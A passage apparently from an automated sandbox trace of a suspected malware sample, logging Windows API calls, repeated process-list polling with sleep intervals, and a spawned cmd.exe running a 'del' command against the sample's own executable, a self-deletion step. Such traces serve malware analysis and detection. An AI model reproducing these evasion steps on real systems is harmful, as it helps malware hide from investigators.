[173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0650.864] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0650.864] NtClose (Handle=0x1e4) returned 0x0 [0650.864] NtClose (Handle=0x20c) returned 0x0 [0650.884] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x1010000, RegionSize=0x6bef70, FreeType=0x8000) returned 0x0 [0650.885] NtDelayExecution (Alertable=0, Interval=0x6be938*=-50000000) returned 0x0 [0655.928] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be928*=0x0, ZeroBits=0x0, RegionSize=0x6be92c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be928*=0x7f0000, RegionSize=0x6be92c*=0x10000) returned 0x0 [0655.928] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7f0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x7f0000, ResultLength=0x0) returned 0xc0000004 [0655.941] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x7f0000, RegionSize=0x6be94c, FreeType=0x8000) returned 0x0 [0655.941] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be914*=0x0, ZeroBits=0x0, RegionSize=0x6be918*=0x20000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be914*=0x7f0000, RegionSize=0x6be918*=0x20000) returned 0x0 [0655.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7f0000, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x7f0000, ResultLength=0x0) returned 0x0 [0656.029] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x7f0000, RegionSize=0x6bef70, FreeType=0x8000) returned 0x0 [0656.030] NtDelayExecution (Alertable=0, Interval=0x6be938*=-50000000) returned 0x0 [0661.036] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be928*=0x0, ZeroBits=0x0, RegionSize=0x6be92c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be928*=0x7f0000, RegionSize=0x6be92c*=0x10000) returned 0x0 [0661.036] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7f0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x7f0000, ResultLength=0x0) returned 0xc0000004 [0661.039] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x7f0000, RegionSize=0x6be94c, FreeType=0x8000) returned 0x0 [0661.039] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be914*=0x0, ZeroBits=0x0, RegionSize=0x6be918*=0x20000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be914*=0x7f0000, RegionSize=0x6be918*=0x20000) returned 0x0 [0661.039] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7f0000, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x7f0000, ResultLength=0x0) returned 0x0 [0661.125] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x7f0000, RegionSize=0x6bef70, FreeType=0x8000) returned 0x0 [0661.126] NtDelayExecution (Alertable=0, Interval=0x6be938*=-50000000) returned 0x0 [0666.173] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be928*=0x0, ZeroBits=0x0, RegionSize=0x6be92c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be928*=0x7f0000, RegionSize=0x6be92c*=0x10000) returned 0x0 [0666.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7f0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x7f0000, ResultLength=0x0) returned 0xc0000004 [0666.186] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x7f0000, RegionSize=0x6be94c, FreeType=0x8000) returned 0x0 [0666.186] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be914*=0x0, ZeroBits=0x0, RegionSize=0x6be918*=0x20000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be914*=0x7f0000, RegionSize=0x6be918*=0x20000) returned 0x0 [0666.186] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7f0000, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x7f0000, ResultLength=0x0) returned 0x0 [0666.268] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x7f0000, RegionSize=0x6bef70, FreeType=0x8000) returned 0x0 [0666.269] NtDelayExecution (Alertable=0, Interval=0x6be938*=-50000000) returned 0x0 [0671.284] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be928*=0x0, ZeroBits=0x0, RegionSize=0x6be92c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be928*=0x7f0000, RegionSize=0x6be92c*=0x10000) returned 0x0 [0671.284] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7f0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x7f0000, ResultLength=0x0) returned 0xc0000004 [0671.285] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x7f0000, RegionSize=0x6be94c, FreeType=0x8000) returned 0x0 [0671.285] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be914*=0x0, ZeroBits=0x0, RegionSize=0x6be918*=0x20000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be914*=0x7f0000, RegionSize=0x6be918*=0x20000) returned 0x0 [0671.285] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7f0000, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x7f0000, ResultLength=0x0) returned 0x0 [0671.366] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x7f0000, RegionSize=0x6bef70, FreeType=0x8000) returned 0x0 [0671.367] NtDelayExecution (Alertable=0, Interval=0x6be938*=-50000000) returned 0x0 [0676.424] NtAllocateVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6be928*=0x0, ZeroBits=0x0, RegionSize=0x6be92c*=0x10000, AllocationType=0x1000, Protect=0x4) Thread: id = 65 os_tid = 0x4fc Thread: id = 76 os_tid = 0x1348 Thread: id = 77 os_tid = 0x10d8 Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x11b8d000" os_pid = "0x13f8" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x1004" cmd_line = "/c del \"C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 66 os_tid = 0x12f0 [0383.419] GetModuleHandleA (lpModuleName=0x0) returned 0xb10000 [0383.419] __set_app_type (_Type=0x1) [0383.419] __p__fmode () returned 0x776f3c14 [0383.419] __p__commode () returned 0x776f49ec [0383.419] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb26fd0) returned 0x0 [0383.419] __getmainargs (in: _Argc=0xb3d1a4, _Argv=0xb3d1a8, _Env=0xb3d1ac, _DoWildCard=0, _StartInfo=0xb3d1b8 | out: _Argc=0xb3d1a4, _Argv=0xb3d1a8, _Env=0xb3d1ac) returned 0 [0383.419] _onexit (_Func=0xb28030) returned 0xb28030 [0383.420] _onexit (_Func=0xb28040) returned 0xb28040 [0383.420] _onexit (_Func=0xb28050) returned 0xb28050 [0383.420] _onexit (_Func=0xb28060) returned 0xb28060 [0383.420] _onexit (_Func=0xb28070) returned 0xb28070 [0383.421] _onexit (_Func=0xb28080) returned 0xb28080 [0383.421] GetCurrentThreadId () returned 0x12f0 [0383.421] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x12f0) returned 0xbc [0383.422] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000 [0383.422] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadUILanguage") returned 0x772e4f70 [0383.422] SetThreadUILanguage (LangId=0x0) returned 0x7e0409 [0383.424] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0383.425] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfd80 | out: phkResult=0x5bfd80*=0x0) returned 0x2 [0383.425] VirtualQuery (in: lpAddress=0x5bfd8b, lpBuffer=0x5bfd38, dwLength=0x1c | out: lpBuffer=0x5bfd38*(BaseAddress=0x5bf000, AllocationBase=0x4c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0383.425] VirtualQuery (in: lpAddress=0x4c0000, lpBuffer=0x5bfd38, dwLength=0x1c | out: lpBuffer=0x5bfd38*(BaseAddress=0x4c0000, AllocationBase=0x4c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0383.425] VirtualQuery (in: lpAddress=0x4c1000, lpBuffer=0x5bfd38, dwLength=0x1c | out: lpBuffer=0x5bfd38*(BaseAddress=0x4c1000, AllocationBase=0x4c0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0383.425] VirtualQuery (in: lpAddress=0x4c3000, lpBuffer=0x5bfd38, dwLength=0x1c | out: lpBuffer=0x5bfd38*(BaseAddress=0x4c3000, AllocationBase=0x4c0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0383.493] VirtualQuery (in: lpAddress=0x5c0000, lpBuffer=0x5bfd38, dwLength=0x1c | out: lpBuffer=0x5bfd38*(BaseAddress=0x5c0000, AllocationBase=0x5c0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0383.493] GetConsoleOutputCP () returned 0x1b5 [0383.495] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb43850 | out: lpCPInfo=0xb43850) returned 1 [0383.495] SetConsoleCtrlHandler (HandlerRoutine=0xb37260, Add=1) returned 1 [0383.495] _get_osfhandle (_FileHandle=1) returned 0x90 [0383.495] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb4388c | out: lpMode=0xb4388c) returned 1 [0383.496] _get_osfhandle (_FileHandle=0) returned 0x8c [0383.496] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb43888 | out: lpMode=0xb43888) returned 1 [0383.496] _get_osfhandle (_FileHandle=1) returned 0x90 [0383.496] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0383.497] _get_osfhandle (_FileHandle=1) returned 0x90 [0383.497] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb43890 | out: lpMode=0xb43890) returned 1 [0383.497] _get_osfhandle (_FileHandle=1) returned 0x90 [0383.497] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0383.497] _get_osfhandle (_FileHandle=0) returned 0x8c [0383.497] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb43894 | out: lpMode=0xb43894) returned 1 [0383.497] _get_osfhandle (_FileHandle=0) returned 0x8c [0383.497] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0383.498] GetEnvironmentStringsW () returned 0x14fe8* [0383.498] GetProcessHeap () returned 0x10000 [0383.498] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0xbb6) returned 0x15ba8 [0383.498] FreeEnvironmentStringsA (penv="=") returned 1 [0383.498] GetProcessHeap () returned 0x10000 [0383.498] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x4) returned 0x14eb8 [0383.498] GetEnvironmentStringsW () returned 0x14fe8* [0383.498] GetProcessHeap () returned 0x10000 [0383.498] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0xbb6) returned 0x16768 [0383.498] FreeEnvironmentStringsA (penv="=") returned 1 [0383.498] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x5becdc | out: phkResult=0x5becdc*=0xcc) returned 0x0 [0383.500] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x0, lpData=0x5bece8*=0xc5, lpcbData=0x5bece0*=0x1000) returned 0x2 [0383.500] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x4, lpData=0x5bece8*=0x1, lpcbData=0x5bece0*=0x4) returned 0x0 [0383.500] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x0, lpData=0x5bece8*=0x1, lpcbData=0x5bece0*=0x1000) returned 0x2 [0383.500] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x4, lpData=0x5bece8*=0x0, lpcbData=0x5bece0*=0x4) returned 0x0 [0383.500] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x4, lpData=0x5bece8*=0x40, lpcbData=0x5bece0*=0x4) returned 0x0 [0383.501] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x4, lpData=0x5bece8*=0x40, lpcbData=0x5bece0*=0x4) returned 0x0 [0383.501] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x0, lpData=0x5bece8*=0x40, lpcbData=0x5bece0*=0x1000) returned 0x2 [0383.501] RegCloseKey (hKey=0xcc) returned 0x0 [0383.501] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x5becdc | out: phkResult=0x5becdc*=0xcc) returned 0x0 [0383.501] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x0, lpData=0x5bece8*=0x40, lpcbData=0x5bece0*=0x1000) returned 0x2 [0383.502] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x4, lpData=0x5bece8*=0x1, lpcbData=0x5bece0*=0x4) returned 0x0 [0383.502] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x0, lpData=0x5bece8*=0x1, lpcbData=0x5bece0*=0x1000) returned 0x2 [0383.502] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x4, lpData=0x5bece8*=0x0, lpcbData=0x5bece0*=0x4) returned 0x0 [0383.502] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x4, lpData=0x5bece8*=0x9, lpcbData=0x5bece0*=0x4) returned 0x0 [0383.502] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x4, lpData=0x5bece8*=0x9, lpcbData=0x5bece0*=0x4) returned 0x0 [0383.502] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x5bece4, lpData=0x5bece8, lpcbData=0x5bece0*=0x1000 | out: lpType=0x5bece4*=0x0, lpData=0x5bece8*=0x9, lpcbData=0x5bece0*=0x1000) returned 0x2 [0383.502] RegCloseKey (hKey=0xcc) returned 0x0 [0383.502] time (in: timer=0x0 | out: timer=0x0) returned 0x5ee72636 [0383.502] srand (_Seed=0x5ee72636) [0383.502] GetCommandLineW () returned="/c del \"C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe\"" [0383.502] malloc (_Size=0x4000) returned 0x2d12370 [0383.503] GetCommandLineW () returned="/c del \"C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe\"" [0383.503] malloc (_Size=0xffce) returned 0x2b70048 [0383.503] ??_V@YAXPAX@Z () returned 0x5bfcc0 [0383.504] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2b70048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0383.506] malloc (_Size=0xffce) returned 0x2b80020 [0383.507] ??_V@YAXPAX@Z () returned 0x5bfa94 [0383.507] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b80020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0383.507] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb3f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0383.507] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb3f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0383.507] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb3f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0383.507] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0383.508] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0383.508] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0383.508] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0383.508] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0383.508] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0383.508] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0383.508] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0383.508] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0383.508] GetProcessHeap () returned 0x10000 [0383.508] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x15ba8) returned 1 [0383.508] GetEnvironmentStringsW () returned 0x14fe8* [0383.508] GetProcessHeap () returned 0x10000 [0383.508] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0xbce) returned 0x17f00 [0383.508] FreeEnvironmentStringsA (penv="=") returned 1 [0383.508] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb3f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0383.508] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb3f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0383.508] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0383.508] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0383.508] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0383.508] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0383.508] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0383.508] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0383.508] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0383.508] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0383.508] malloc (_Size=0xffce) returned 0x2b8fff8 [0383.509] ??_V@YAXPAX@Z () returned 0x5bf82c [0383.509] GetProcessHeap () returned 0x10000 [0383.509] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x30) returned 0x14ee0 [0383.509] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2b8fff8 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0383.509] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x2b8fff8, lpFilePart=0x5bf878 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x5bf878*="system32") returned 0x13 [0383.510] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0383.510] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x5bf5f8 | out: lpFindFileData=0x5bf5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x14808 [0383.511] FindClose (in: hFindFile=0x14808 | out: hFindFile=0x14808) returned 1 [0383.511] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x5bf5f8 | out: lpFindFileData=0x5bf5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x313407db, ftLastAccessTime.dwHighDateTime=0x1d642e8, ftLastWriteTime.dwLowDateTime=0x313407db, ftLastWriteTime.dwHighDateTime=0x1d642e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x14808 [0383.511] FindClose (in: hFindFile=0x14808 | out: hFindFile=0x14808) returned 1 [0383.511] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0383.511] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0383.511] 